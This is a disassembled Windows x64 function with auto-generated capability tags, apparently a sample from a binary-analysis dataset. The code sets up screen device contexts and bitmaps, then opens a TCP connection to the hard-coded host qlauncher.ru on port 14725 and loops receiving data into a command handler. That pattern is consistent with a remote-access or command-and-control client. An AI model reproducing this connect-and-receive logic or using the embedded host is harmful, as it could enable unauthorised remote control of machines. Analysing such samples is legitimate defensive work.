Function at 0x140002870
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library
Receive data
Receive data on socket
Resolve dns

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
lea rbp, [rsp - 0x180]
sub rsp, 0x280
mov rax, qword [0x140025040]
xor rax, rsp
mov qword [rbp + 0x170], rax
mov rbx, rcx
call fcn.1400020c0
mov ecx, 0x4e
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov ecx, 0x4f
mov dword [0x140026e64], eax
call qword [sym.imp.USER32.dll_GetSystemMetrics]
xor ecx, ecx
mov dword [0x140026e60], eax
call qword [sym.imp.USER32.dll_GetDC]
mov qword [0x140026e50], rax
test rax, rax
je 0x1400029f1
mov rcx, rax
call qword [sym.imp.GDI32.dll_CreateCompatibleDC]
mov qword [0x140026e68], rax
test rax, rax
je 0x1400029f1
mov rcx, qword [0x140026e50]
call qword [sym.imp.GDI32.dll_CreateCompatibleDC]
mov qword [0x140026e40], rax
test rax, rax
je 0x1400029f1
mov rcx, qword [0x140026e50]
call qword [sym.imp.GDI32.dll_CreateCompatibleDC]
mov qword [0x140026e48], rax
test rax, rax
je 0x1400029f1
mov rcx, qword [0x140026e50]
call qword [sym.imp.GDI32.dll_CreateCompatibleDC]
mov qword [0x140026e58], rax
test rax, rax
je 0x1400029f1
mov edx, 0x65
mov rcx, rbx
call qword [sym.imp.USER32.dll_LoadBitmapW]
test rax, rax
je 0x1400029f1
mov rcx, qword [0x140026e68]
mov rdx, rax
call qword [sym.imp.GDI32.dll_SelectObject]
test rax, rax
je 0x1400029f1
mov edx, reloc.WS2_32.dll_WSAGetLastError
mov rcx, rbx
call qword [sym.imp.USER32.dll_LoadBitmapW]
test rax, rax
je 0x1400029f1
mov rcx, qword [0x140026e40]
mov rdx, rax
call qword [sym.imp.GDI32.dll_SelectObject]
test rax, rax
je 0x1400029f1
mov edx, 0x77
mov rcx, rbx
call qword [sym.imp.USER32.dll_LoadBitmapW]
test rax, rax
je 0x1400029f1
mov rcx, qword [0x140026e48]
mov rdx, rax
call qword [sym.imp.GDI32.dll_SelectObject]
test rax, rax
je 0x1400029f1
mov edx, 0x7b
mov rcx, rbx
call qword [sym.imp.USER32.dll_LoadBitmapW]
test rax, rax
je 0x1400029f1
mov rcx, qword [0x140026e58]
mov rdx, rax
call qword [sym.imp.GDI32.dll_SelectObject]
xor esi, esi
xor ecx, ecx
mov qword [rsp + 0x58], rsi
mov qword [rsp + 0x60], rsi
mov qword [rsp + 0x50], rsi
call qword [sym.imp.ole32.dll_CoInitialize]
cmp eax, 1
jbe 0x140002a1d
mov ecx, eax
call fcn.140001890
mov eax, esi
jmp 0x140002aea
lea rax, [rsp + 0x58]
xor edx, edx
lea r9, [0x1400218a0]
mov qword [rsp + 0x20], rax
mov r8d, 1
lea rcx, [0x140021870]
call qword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
je 0x140002a56
mov ecx, eax
call fcn.140001890
mov rax, rsi
jmp 0x140002aea
mov rcx, qword [rsp + 0x58]
lea r9, [rsp + 0x60]
xor r8d, r8d
xor edx, edx
mov rax, qword [rcx]
call qword [rax + 0x20]
mov rcx, qword [rsp + 0x58]
mov ebx, eax
test eax, eax
je 0x140002a8d
mov rdx, qword [rcx]
call qword [rdx + 0x10]
mov ecx, ebx
mov qword [rsp + 0x58], rsi
call fcn.140001890
mov rax, rsi
jmp 0x140002aea
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rsp + 0x60]
lea rdx, [rsp + 0x50]
mov qword [rsp + 0x58], rsi
xor r9d, r9d
mov qword [rsp + 0x20], rdx
mov r8d, 1
lea rdx, [0x140021880]
mov rax, qword [rcx]
call qword [rax + 0x18]
mov rcx, qword [rsp + 0x60]
mov ebx, eax
test eax, eax
je 0x140002adf
mov rdx, qword [rcx]
call qword [rdx + 0x10]
mov ecx, ebx
mov qword [rsp + 0x60], rsi
call fcn.140001890
mov rax, rsi
jmp 0x140002aea
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rax, qword [rsp + 0x50]
mov qword [0x140026f78], rax
xorps xmm0, xmm0
mov dword [rbp - 0x80], esi
xorps xmm1, xmm1
movdqa xmmword [rbp - 0x70], xmm0
mov ecx, 0x202
movdqa xmmword [rbp - 0x60], xmm1
lea rdx, [rbp - 0x30]
movdqa xmmword [rbp - 0x50], xmm0
mov qword [rbp - 0x40], rsi
mov dword [rbp - 0x7c], 2
mov dword [rbp - 0x78], 1
mov dword [rbp - 0x74], 6
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x140002b77
mov qword [rsp + 0x50], rsi
jns 0x140002b42
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], esi
mov r9d, 0x400
mov qword [rsp + 0x20], rcx
mov r8d, eax
mov ecx, 0x1300
xor edx, edx
call qword [sym.imp.KERNEL32.dll_FormatMessageW]
mov rdi, 0xffffffffffffffff
jmp 0x140002c37
mov dword [rsp + 0x28], 1
xor r9d, r9d
mov edx, 1
mov dword [rsp + 0x20], esi
mov ecx, 2
mov r8d, 6
call qword [sym.imp.WS2_32.dll_WSASocketW]
mov qword [0x140026f70], rax
cmp rax, 0xffffffffffffffff
jne 0x140002bb0
mov qword [rsp + 0x50], rsi
jmp 0x140002b3c
mov qword [rsp + 0x48], rsi
lea rax, [rsp + 0x68]
mov qword [rsp + 0x40], rsi
lea rdx, str.14725
mov qword [rsp + 0x38], rsi
lea rcx, str.qlauncher.ru
mov qword [rsp + 0x30], rsi
xor r9d, r9d
mov qword [rsp + 0x28], rax
xor r8d, r8d
lea rax, [rbp - 0x80]
mov qword [rsp + 0x20], rax
call qword [sym.imp.WS2_32.dll_GetAddrInfoExW]
test eax, eax
je 0x140002c00
mov qword [rsp + 0x50], rsi
jmp 0x140002b3c
mov rdx, qword [rsp + 0x68]
xor r9d, r9d
mov rcx, qword [0x140026f70]
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rsi
mov r8d, dword [rdx + 0x10]
mov rdx, qword [rdx + 0x20]
mov qword [rsp + 0x20], rsi
call qword [sym.imp.WS2_32.dll_WSAConnect]
test eax, eax
jne 0x140002c00
mov rdi, qword [0x140026f70]
call fcn.1400024e0
nop dword [rax]
xorps xmm0, xmm0
mov dword [rsp + 0x60], esi
movups xmmword [rsp + 0x70], xmm0
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x140002d11
xor edx, edx
mov r8d, 0x40
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbx, rax
test rax, rax
je 0x140002af1
mov qword [rsp + 0x78], rax
lea r9, [rsp + 0x58]
lea rax, [rsp + 0x60]
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rsi
lea rdx, [rsp + 0x70]
mov r8d, 1
mov qword [rsp + 0x20], rax
mov rcx, rdi
mov dword [rsp + 0x70], 0x40
call qword [sym.imp.WS2_32.dll_WSARecv]
cmp eax, 0xffffffff
je 0x140002cd8
mov eax, dword [rsp + 0x58]
test eax, eax
je 0x140002cd8
dec eax
movzx ecx, byte [rax + rbx]
cmp cl, 0xff
je 0x140002af1
call fcn.1400019e0
jmp 0x140002c40
mov qword [rsp + 0x50], rsi
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], esi
mov r9d, 0x400
mov qword [rsp + 0x20], rcx
mov r8d, eax
mov ecx, 0x1300
xor edx, edx
call qword [sym.imp.KERNEL32.dll_FormatMessageW]
jmp 0x140002af1
mov qword [rsp + 0x50], rsi
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov qword [rsp + 0x30], rsi
xor edx, edx
mov r8d, eax
mov dword [rsp + 0x28], esi
lea rax, [rsp + 0x50]
mov ecx, 0x1300
mov r9d, 0x400
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_FormatMessageW]
jmp 0x140002af1